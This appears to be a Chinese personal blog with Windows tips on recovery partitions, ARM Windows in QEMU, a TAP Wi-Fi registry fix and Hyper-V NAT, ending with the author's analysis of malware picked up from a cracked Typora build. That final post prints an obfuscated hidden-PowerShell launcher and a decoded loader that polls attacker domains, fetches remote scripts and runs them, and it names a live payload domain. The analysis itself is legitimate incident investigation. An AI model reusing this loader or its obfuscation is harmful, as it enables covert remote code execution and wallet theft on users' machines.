分类 Windows 下的文章

起因是换了电脑之后懒得重装系统,但是为了装新驱动而不得不对系统进行了一个新的更。然而用了一两年之后,重新打开DiskGenius的时候才发现盘上有两个Recovery分区,估计巨硬是在安装程序里,从我原有系统盘的末尾切了1个G出来,又做了一个Recovery分区。然而咱们消费级电脑并没有那么高的可用性要求,不需要一个系统配一个Recovery分区,所以打算把分区表更新下,删掉新加的Recovery,让所有现存Windows系统共用一个Recovery分区。

大体流程参考这篇回答,简单来说原理就是分区备份还原,然后用reagentc命令将Windows配置为用我们设置的新Recovery分区:

  1. 给两个Recovery分区分配盘符;
  2. 如果需要,用dism备份和还原分区数据(比如说要删除的Recovery版本更新,想保留);
  3. reagentc /disable
  4. 删除不要的Recovery分区;
  5. reagentc /setreimage /path Z:\Recovery\WindowsRE配置WindowsRE,假设Recovery挂载到Z盘;
  6. reagentc /enable

这个时候理论上已经完成了WindowsRE分区的更换,用reagentc /info可以看到,Recovery分区已经被更换为了目标分区。但是如果直接用diskpart或者DiskGenius一类的工具卸载Recovery分区的话,会发现这么一个问题:要么卸载成功,但是重新用reagentc /info看WindowsRE配置又变回了Disabled,要么就卸载失败,任务管理器里还能看到盘符,或者重启之后分区又重新自动挂载上了。

然而天无绝人之路。在网上一顿乱翻,发现也有人有这个疑惑,一看原来Windows还有一个命令可以删除盘符:

mountvol Z: /d

经过测试,使用这个指令卸载盘符可以保证reagentc配置不变、消除盘符的同时,再重启后也没有自动挂载的现象复发了,可以认为达到了与Windows安装时自己配置相同的效果。

给巨硬一点小小的FA♂国震撼

起因是发现UUP dump上竟然可以打包aarch64的镜像包,于是准备捞一份10和一份11下来做纪念。结果捞下来以后就想着,下都下好了,不跑起来用用真是怠慢了它们。转念一想,VMware、VirtualBox、Hyper-V这种虚拟机都是同架构下做虚拟化的,性能好是好,但是不支持跨指令集,只好借助开源而万能的QEMU了。

在QEMU上运行Windows ARM版本与实体机器上的流程基本一致:加载固件、启动安装盘、补驱动和安装使用。相比于实体机按个开机键就能够自动加载BIOS,在QEMU中需要手动指定二进制文件作为BIOS。由于ARM处于百花齐放的状态,不能保证像x86一样有统一的Legacy启动模式,因而往往采取新兴而统一的UEFI来引导系统。

一 系统固件准备

系统固件可以认为是一段可以执行的机器码,与硬件环境有强相关性,负责初始化各类硬件设备,以及告诉操作系统如何使用这些设备。我们一般能接触到的UEFI固件通常是TianoCore的EDK,这是一个由Intel主导的社区实现的开源版本,因而不少人选择基于这个EFI固件魔改代码来支持不同平台,今天的主角QEMU正是其中的目标平台之一。Linaro作为ARM产业链中的中性组织,提供了ARM平台下编译好的参考二进制固件(https://releases.linaro.org/components/kernel/uefi-linaro/)。

但是在经过尝试发现,用linaro提供的固件引导Windows无法正常启动,因而在后续流程中,本文只得改用别人魔改的固件。虽说不要轻易采用来路不明的二进制程序,但在眼下并不良好的环境(指代码和文档稀缺),加之学习为主的目的,只得暂且捏着鼻子先用着了。

别人提供的二进制固件可以在GitHub上下载:https://github.com/raspiduino/waq/releases ,里面的vm.7z中解压出来的QEMU_EFI.imgQEMU_VARS.img两个文件就是所需要的UEFI固件。

二 虚拟机配置与启动

QEMU是个定制化程度较高的虚拟机软件,因而默认配置提供的是一个光秃秃的机器,可以认为是只有处理器和内存,完全满足不了运行Windows的需求——显示器、鼠标键盘等交互设备全部需要自己添加。

在这一步需要准备的东西有三个:

QEMU的虚拟机设备需要通过命令行配置,这里给一个我的模板:

qemu-system-aarch64 ^
-M virt,virtualization=true ^
-accel tcg,thread=multi ^
-cpu cortex-a57 ^
-device VGA ^
-smp 4 ^
-m 4G ^
-drive if=pflash,file=QEMU_EFI.img,format=raw ^
-drive if=pflash,file=QEMU_VARS.img,format=raw ^
-device qemu-xhci ^
-device usb-kbd ^
-device usb-mouse ^
-device intel-hda ^
-device hda-duplex ^
-nic user,model=e1000 ^
-boot d ^
-device usb-storage,drive=install -drive if=none,id=install,format=raw,media=cdrom,readonly=on,file=<Windows镜像> ^
-device usb-storage,drive=drivers -drive if=none,id=drivers,format=raw,media=cdrom,readonly=on,file=<virtio驱动镜像> ^
%*

该模板从上到下依次配置了机器类型、硬件加速模式、处理器型号及数量、内存、显示设备、系统固件、外围硬件,以及系统盘和驱动盘。需要注意的是,机器类型最好开虚拟化参数(即virtualization=true),否则可能启动黑屏;系统安装盘和驱动盘要走USB设备而不能是virtio设备,否则会缺驱动,导致读不到数据,无法安装系统;最后的%*表示允许从命令行继续添加参数,比如加个系统盘,或者其他QEMU设置。在接下来的文字中,我会将这段命令行保存为run_win10.bat并直接使用。

如果仅仅是尝试是否能够正常启动的话,此时直接双击运行run_win10.bat就可以启动虚拟机做测试了。

三 安装系统

如果打算尝试体验,则需要创建并挂载一个虚拟硬盘,用于安装系统。

使用qemu-img工具创建虚拟磁盘:

qemu-img create -f raw system_10.img 20G

此时会在当前目录下创建一个大小为20G的img文件,但在ext或者NTFS这类支持文件空洞的文件系统上,实际占用空间为0,文件的实际大小会随着向内写入数据逐步扩大,直至充满声明的文件大小。

如果文件大小为0的话,表示虚拟硬盘创建并未成功,在虚拟机里显示的磁盘大小为0,此时可以通过qemu-img resize命令来补救:

qemu-img resize -f raw system_10.img 20G

此时应该正常显示文件大小为20G,而实际占用空间为0。经测试,安装系统并完成OOBE后空间占用大约在10G左右。

此时可以通过如下命令,启动一个可以安装系统的虚拟机:

run_win10.bat -drive if=virtio,format=raw,file=system_10.img

如上面所提到,这条命令在之前的基础配置上额外添加了刚创建的system_10.img作为系统盘,并启动虚拟机。该系统盘的硬件类型为virtio-blk,性能相对较好,但需要手动安装驱动。

启动虚拟机后,会发现在选择安装盘步骤找不到任何硬盘,此时则需要在左下角加载驱动程序,运气好的话系统会自动搜索光驱,并提供可供安装的驱动;否则则需要手动浏览文件夹,选取viostor\w10\ARM64目录,安装程序才能找到合适的驱动程序;Windows 11同理。

接下来就是常规的安装流程了,与x86电脑上的流程并无大异。不过在OOBE阶段,可能会出现OOBEKEYBOARDOOBELOCAL等错误信息,能跳过的直接跳过就行,如果不能跳过且一直重试失败的话,则可以用组合键Shift+F10调出cmd窗口,输入shutdown -r -t 0软重启后重新开始配置。

四 使用系统

刚进入系统的时候,巨硬会后台起一个索引程序,我给了四核的处理器直接拉满,网上说有办法停下来,有需要的可以自行搜索,在此不作赘述。

不过要吐槽的是右键菜单,在桌面右键想看看系统信息都能给我卡半天= =一开始以为是索引吃CPU导致卡顿,结果后来一看他COM用的竟然还是x86的,相当于x86经过QEMU转成arm64之后,巨硬又给转回x86指令了。。大哥啊这都系统基本组件了,重新写份原生的有那么难么。。。

另一个问题是显示分辨率问题,默认是800*600,看的那叫一个难受。系统里是不能调节的,我在网上找了半天,说是QEMU配个标准VGA设备能支持到1080p,然而倒腾了半天都没用= = 最后才发现系统的UEFI固件里有设置选项,可以调成1080p。

最后一个问题是网络,这个暂时就没研究了,大伙也说网络问题不少,之后有精力再来折腾吧。

TAP作为一款轻量化的Windows虚拟网卡,在许多场景下都有广泛应用,比如远程连接私有网络,或者游戏加速一类的。

然而让人恼火的是,在新版的Windows中,在使用无线网卡的时候,关闭TAP相关服务后无线网会自己断连,然后断连后还不会再次加入同一个网络,也就是说一定要自己手动去点一次连接网络才行,非常麻烦。然而由于看不出关键信息,不知道具体是哪个地方引起的wifi断连,一直都没能找到一个令可用的解决方案。

然而苍天不负有心人,近日随手一搜,发现两个月前有人遇到了相同的问题:https://learn.microsoft.com/en-us/answers/questions/1047476/what-is-the-cause-of-34wlan-autoconfig-detected-li.html

解决方法很简单,创建一个DWORD类型的注册表项

HKLM\SOFTWARE\Microsoft\WcmSvc\EnableBadStateTracking

,并将值设置为0即可。

简单来讲,原理似乎大概是,断开TAP网络的短暂时间内,系统发现当前连接的无线网络无法正常连网,于是通知驱动重新配置网络。而可能intel的驱动恰好采用了重启网卡的方式来重配网络,导致网络断连,并且受到WLAN AutoConfig的阻止,无法重新连接到之前认为不能联网的网络。而该注册表项的功能则是告诉WLAN AutoConfig服务,即使连不了网也不要自作主张通知网卡切断网络,因而避免了断连的问题。

之前因为不熟悉Hyper-V,有些功能不会用,因而一直在说 不要使用Hyper-V,会变得不幸 。由于最近需要一个vscode来读代码,在被RK3328+eMMC这种更加不幸的组合折磨之后,决定回过头来看看能不能把之前遇到的问题解决。功夫不负有心人,误打误撞之下,最终还是找到了解决方案。

前情提要:Hyper-V自带了一个用于虚拟机与主机通信的默认交换机,但是该交换机不支持网段配置,每次重启会在10.0.0.0网段下随机选一个子网段给当前DHCP用于分配IP。于是为了获得可以稳定访问的虚拟机IP,就不能使用默认交换机,必须自己单独配一个固定网段,然后给虚拟机分配静态IP。

然后又来到了万能的StackOverflow:网友指出,在已经启用了Hyper-V的情况下,通过PowerShell调用系统接口,可以创建指定网段的NAT,无需配置网关即可访问外网,具体步骤如下:

New-VMSwitch -SwitchName "SwitchName" -SwitchType Internal
Get-NetAdapter       // (note down ifIndex of the newly created switch as INDEX)
New-NetIPAddress -IPAddress 192.168.0.1 -PrefixLength 24 -InterfaceIndex <INDEX>
New-NetNat -Name MyNATnetwork -InternalIPInterfaceAddressPrefix 192.168.0.0/24

其中关键在于最后一步New-NetNat。前面几步分别可以通过在Hyper-V图形管理界面中新建虚拟网卡,以及直接在控制面板中修改对应虚拟网卡的IP完成。

创建完虚拟NAT并修改虚拟网卡的IP之后,在虚拟机中配置静态IP,并将网关设置为主机的虚拟网卡IP,就可以实现虚拟机连通外网了。

这里顺便说一下Hyper-V中的三类虚拟网卡,这篇文章及其配图做了一个还比较好的解释。三种可以在Hyper-V中创建的虚拟网卡分别是外部、内部和私有网卡,特征大致如下:

  • 外部网卡(External):虚拟机直接连通外网,虚拟机与主机处于同一网络层级(都直接获取上层路由器的IP,如果是需要登录的网络,则相当于使用了新设备,需要重新登录);
  • 内部网卡(Internal):虚拟机只连通主机,不连通外网;
  • 私有网卡(Private):虚拟机间相互连通,不连通主机和外网。

需要注意的是,Hyper-V中只有默认的虚拟网卡才带DHCP,所有自己创建的虚拟网卡都是不提供DHCP服务的,只能配静态IP或者自己部署一个DHCP服务端。

之前由于没有搞清几类虚拟网卡的区别,一直在用外部网卡,加上恰好手头的网络是要登录才能使用的,折磨了老久都没用;然后换了内部网卡又不知道要配NAT,属实是十分的不幸了。

没想到互联网老司机也有翻车的一天= =

前几天贪小便宜,发现typora的beta版本过期了,于是去一个平常十分信任的网站找了份破解版,然后就翻车了T T

起因是今天在编译东西的时候,管理观察任务管理器的时候发现多出一个powershell进程。因为平常不怎么用powershell,所以看到这进程还是十分敏感的,就右键看了一下等待链。结果不看不知道,一看吓一跳,分析结果说进程正在等待网络IO。当场就觉得不对劲了,用powershell执行本地程序还情有可原,这年头还会有哪家公司用powershell来做网络通信,大概率就是个人开发者了。

为了摸清楚这个powershell进程到底在干嘛,最为直观的信息就是它的调用链了。作为脚本语言,最大的好处就是其源代码往往具有一定可读性,对于伪装级别不高的脚本来说,摸到脚本本身大概就能知道它在干嘛了。

然而,切出任务管理器一看,命令行长这样:

PoWerShELl -wINDOWstYle hidDEN

一股浓浓的黑客风味扑面而来——虽然cmd和powershell允许大小写混用,但一般人为了可读性,哪会整得这样花里胡哨的?

伪装的还算好,脚本和参数可能通过管道传送,没有出现在命令行里,但这编程风格还是露出了鸡脚。怎么哪里都有小黑子(逃

接下来要做的就是顺藤摸瓜,找到究竟是谁调用的这个脚本,再把背后的真实脚本挖出来。这里用wmic命令来寻找应用的调用关系(https://stackoverflow.com/questions/7486717/finding-parent-process-id-on-windows):

wmic process where (processid=PROCID_HERE) get parentprocessid

凭着pid一路顺藤摸瓜,找到了svchost.exe,右键转到服务一看,发现是计划任务。

然后来到控制面板中的计划任务,选到左边导航栏最顶部的元素任务计划程序(本地),再从菜单栏里的操作选择显示所有正在运行的任务。不消多看,为数不多的运行中任务里,只有一个任务名是奇奇怪怪的字符串,对应的命令是一个光秃秃的cmd.exe

扒出来一看,完整的命令行长这样:

cmd.exe /C eCHo IeX "Icm ([SCRiPtbLoCk]::cREatE([sTriNg]::jOin('', ((geT-iTeMprOPeRTY -paTh 'HKlM:\SoftwaRe\KITwaREU5OEj').'u5oejUf' | % { [ChaR](`$_ -bXOr 236) }))))" | PoWerShELl -wINDOWstYle hidDEN

只能说味儿更浓了。

然后简单解释一下这串命令干了啥:从注册表取HKlM:\SoftwaRe\KITwaREU5OEj\u5oejUf项的值,逐字节与数236做异或操作(简单的字符串解码),然后做一个没什么鸟用的空字符串拼接,再包裹为一个可执行脚本块,然后使用icmInvoke-Command)、iexInvoke-Expression)命令让powershell执行这个代码段。最后为了隐藏这段代码,使用cmd的echo功能转化到管道输出,再通过管道拼接直接将脚本输入到新创建的powershell进程中;powershell进程再通过-WindowStyle hidden参数设置为无窗口后台运行。通过这个方式,完整地掩盖了要运行的真是脚本——我们到现在还不知道黑客打算执行什么。

在前面顺着pid找调用进程的时候,找到cmd.exe的时候是能看到这串命令的。因为恰好正在用cmake编译,当时还楞了一下,cmake原来还会调用powershell脚本的么= =

接下来就是解密真实脚本的过程了,大致工作就是从上面的cmd命令中,把到执行powershell脚本之前的一段截取出来,让他输出到命令行即可,在此就不展开讲了。(其中很怪的一点是,echo命令里用了`字符来保护$字符,但我印象中cmd的保护字符是^来着?)

结果在这里贴一下吧:

while ($true) {
  try {
        foreach ($c in (@("com", "xyz"))) {
            foreach ($a in (@("wmail", "fairu", "bideo", "privatproxy", "ahoravideo"))) {
                foreach ($b in (@("endpoint", "blog", "chat", "cdn", "schnellvpn"))) {
                    try {
                        $h = "$(-join ((97..122) | Get-Random -Count (Get-Random -Minimum 5 -Maximum 10) | % {[char]$_})).com";
                        $r = Invoke-RestMethod -Uri "http://$a-$b.$c/v2/B723B9C0-2A79-4F4D-9F9D-4DED94453BFB?v=newcounter2" -TimeoutSec 30 -Headers @{ Host = $h }
                        if ($r -ne '') {
                            sTaRt-jOb ([sCriptBlock]::Create($r)) | Wait-Job -Timeout 7200
                            break;
                        }
                    }
                    catch {
                    }
                }
            }
        }
    }
    catch {
    }
    Start-Sleep -Seconds 5;
}

这脚本写的还挺鸡贼,powershell解码出来一行只有一个字符,光是整理成可读格式都花了我不小功夫。

在脚本里面,黑客又做了一个2x10x10=200个网站的排列组合,每5秒钟访问一个,其中藏了一个真实的网站,访问后可以得到一段脚本,作者让他等脚本执行2小时,然后重新开始这个循环。

下下来看了一下,tnnd,这鸟人在系统里搜索区块链钱包,然后上传个人信息给服务器,怕是偷钱去了。还好不玩区块链。

对了,域名是bideo-cdn.xyz,有兴趣的可以自己下来看看。